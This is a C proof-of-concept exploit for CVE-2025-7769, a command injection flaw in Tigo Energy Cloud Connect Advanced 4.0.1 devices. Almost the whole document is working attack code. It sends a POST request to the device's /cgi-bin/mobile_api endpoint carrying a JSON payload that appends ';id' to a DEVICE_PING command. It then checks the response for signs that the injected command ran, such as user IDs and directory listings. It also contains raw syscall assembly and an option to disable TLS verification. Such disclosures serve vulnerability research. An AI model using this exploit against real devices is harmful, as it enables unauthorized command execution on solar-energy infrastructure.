Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 – Command Injection
/* * Title : Tigo Energy Cloud Connect Advanced (CCA) 4.0.1 - Command Injection * Author : Byte Reaper * CVE : CVE-2025-7769 */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <arpa/inet.h> #include <curl/curl.h> #define FULL_URL 2500 #define POST_PAYLOAD 5500 const char *baseurl = NULL; const char *cookies = NULL; const char *ip = NULL; const char *caFile = NULL; int caS = 0; const char *nameFileC = NULL; int port = 0; int uC =0; int verbose = 0; void exitSyscall() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); exitSyscall(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len); return 0; } return 0; } void nanoSleep(void) { struct timespec ob; ob.tv_sec = 0; ob.tv_nsec = 500 * 1000 * 1000; __asm__ volatile ( "mov $230, %%rax\n\t" "mov $1, %%rdi\n\t" "xor %%rsi, %%rsi\n\t" "mov %0, %%rdx\n\t" "xor %%r10, %%r10\n\t" "syscall\n\t" : : "r"(&ob) : "rax", "rdi", "rsi", "rdx", "r10", "memory" ); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } const char *wordInjection[] = { //Result ID "admin", "root", "groups=0", "gid=0", "uid=1000", "gid=1000", "groups=1000", "bluetooth", //Result ls ".txt", ".py", ".php", ".sh", ".js", //Result pwd "home", "Documents", "Desktop", "Downloads", "Public", "Videos", NULL }; void postRequest(const char *baseurl, const char *ip, int port) { char full[FULL_URL]; CURL *curl = curl_easy_init(); CURLcode res; if (curl == NULL) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); printf("\e[0;31m[-] Check Connection ...\e[0m\n" ); const char *googleIp = "142.251.37.46"; printf("\e[0;31m[-] Ping Command (ip = %s)\e[0m\n", googleIp); const char *cP = "/bin/ping"; const char *av[] = { "ping", "-c", "5", "google.com", NULL }; const char *ep[] = { NULL }; __asm__ volatile ( "MOV $59, %%rax\n\t" "MOV %[cmd], %%rdi\n\t" "MOV %[argv], %%rsi\n\t" "MOV %[envp], %%rdx\n\t" "syscall\n\t" ".1:\n\t" "MOV $0x3C, %%rax\n\t" "XOR %%rdi, %%rdi\n\t" "syscall\n\t" : : [cmd] "r" (cP), [argv] "r" (av), [envp] "r"(ep) :"rax", "rdi", "rsi", "rdx" ); } if (port != 0) { goto ipPT; } printf("\e[0;31m[-] Port Not Select.\n"); if (ip) { unsigned long ipformat ; ipformat = inet_addr(ip); if (ipformat == INADDR_NONE || ipformat == -1) { printf("\e[0;31m[-] Invalid IP address string.\e[0m\n"); exitSyscall(); } int lenIp = snprintf(full, sizeof(full), "http://%s/cgi-bin/mobile_api", ip); if (checkLen(lenIp,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\n",lenIp); exitSyscall(); } goto done; ipPT: printf("\e[0;36m[+] PORT : %d\e[0m\n", port); int lenIpPT = snprintf(full, sizeof(full), "http://%s:%d/cgi-bin/mobile_api", ip, port); if (checkLen(lenIpPT,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (IP And Port) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n",lenIpPT); exitSyscall(); } } else if (baseurl != NULL) { int lenUrl = snprintf(full, sizeof(full), "%s/cgi-bin/mobile_api", baseurl); if (checkLen(lenUrl,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (URL and EndPoint) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n",lenUrl); exitSyscall(); } } printf("\e[0;36m[+] Final Full URL Format : %s\e[0m\n", full); printf("\e[0;36m[+] Preparation POST Payload...\e[0m\n"); printf("\e[0;36m[+] Command Payload Injection (cmd = id)\e[0m\n"); char post[POST_PAYLOAD]; snprintf(post, sizeof(post), "{\n\t\"cmd\": \"DEVICE_PING;id\",\n\t\"dev\": 2,\n\t\"ver\": 1 \n}"); printf("\e[0;34m[+] POST DATA : \n%s\n", post); struct Mem rS; rS.buffer = NULL; rS.len = 0; done : if (curl) { curl_easy_setopt(curl, CURLOPT_URL, full); if (uC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &rS); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); nanoSleep(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (caS) { curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2L); curl_easy_setopt(curl, CURLOPT_CAINFO, caFile); } else { curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); } if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)"); headers = curl_slist_append(headers, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); if (ip) { char headerHost[150]; int lenH = snprintf(headerHost, sizeof(headerHost), "Host: %s", ip); if (checkLen(lenH,headerHost, sizeof(headerHost)) == 1) { printf("\e[0;31m[-] Header Host Is Long Please Check Size IP !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n", lenH); exitSyscall(); } else { printf("\e[0;34m[+] Header Host Create Successfully.\e[0m\n"); if (verbose) { printf("\e[0;34m[+] Header Host : %s\e[0m\n",headerHost); } headers = curl_slist_append(headers, headerHost); } } headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Upgrade-Insecure-Requests: 1"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Cache-Control: max-age=0"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); long hC = 0; if (res == CURLE_OK) { printf("\e[0;36m[+] Request sent successfully\e[0m\n"); if (rS.len != 0) { printf("\e[0;32m[+] Response Len : %d\e[0m\n", rS.len); } else { printf("\e[0;31m[-] Response Len IS (0)\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &hC); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", hC); if (verbose) { if (rS.buffer) { printf("\e[0;35m\n======================================== [RESPONSE] ========================================\e[0m\n"); printf("%s\n", rS.buffer); printf("\e[0;32m[Len] : %zu\e[0m\n", rS.len); printf("\e[0;35m\n=============================================================================================\e[0m\n"); } } if (hC >= 200 && hC < 300) { int s = 0; for (int j = 0; wordInjection[j] != NULL; j++) { if (strstr(rS.buffer, wordInjection[j]) != NULL) { printf("[+] Word Found : %s\n", wordInjection[j]); if (rS.buffer != NULL) { printf("\e[0;35m ============================================= [RESPONSE] =============================================\e[0m\n"); printf("\n%s\n",rS.buffer); printf("\e[0;35m ======================================================================================================\e[0m\n"); } else { if (verbose) { printf("\e[0;31m[-] Word Not Found : %s\e[0m\n", wordInjection[j]); } if (s) { printf("\e[0;31m[-] Not found Word Command Injection In Response !\e[0m\n"); } } } } } else { printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", hC); } } else { printf("\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } curl_easy_cleanup(curl); if (rS.buffer) { free(rS.buffer); rS.buffer = NULL; rS.len = 0; } } int main(int argc, const char **argv) { printf( "\e[0;31m" " ░██████ ░██ ░██ ░██████████ ░██████ ░████ ░██████ ░████████ ░█████████ ░█████████ ░██████ ░██████ \n" " ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" " ░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░███████ ░██ ░██ ░██ ░██ ░██ \n" " ░██ ░██ ░██ ░█████████ ░██████ ░█████ ░██░██░██ ░█████ ░██ ░██████ ░██ ░██ ░███████ ░███████ \n" " ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n " " ░██ ░██ ░██░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" " ░██████ ░███ ░██████████ ░████████ ░████ ░████████ ░██████ ░██ ░██ ░██████ ░██████ \n" "\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\e[0;37mByte Reaper\n\e[0m" ); printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n"); curl_global_init(CURL_GLOBAL_DEFAULT); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &baseurl, "Enter Target Url (http://<TARGET>)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_STRING('i', "ip", &ip, "Target IP ADDRESS"), OPT_INTEGER('p', "port", &port, "Target PORT"), OPT_STRING('a', "ca", &caFile, "CA FILE"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!baseurl && !ip) { printf("\e[0;31m-] Please Enter target Url OR target IP !\e[0m\n"); printf("\e[0;31m[-] Example : ./CVE-2025-7769 -u http://<TARGET> OR -i <IP>\e[0m\n"); exitSyscall(); } if (nameFileC) { uC = 1; } if (verbose) { verbose = 1; } if (!port) { port = 0; } if (port && baseurl) { printf("\e[0;31m[-] Please Enter Base URL !\e[0m\n"); exitSyscall(); } if (caFile) { caS = 1; } postRequest(baseurl, ip, port); curl_global_cleanup(); return 0; } |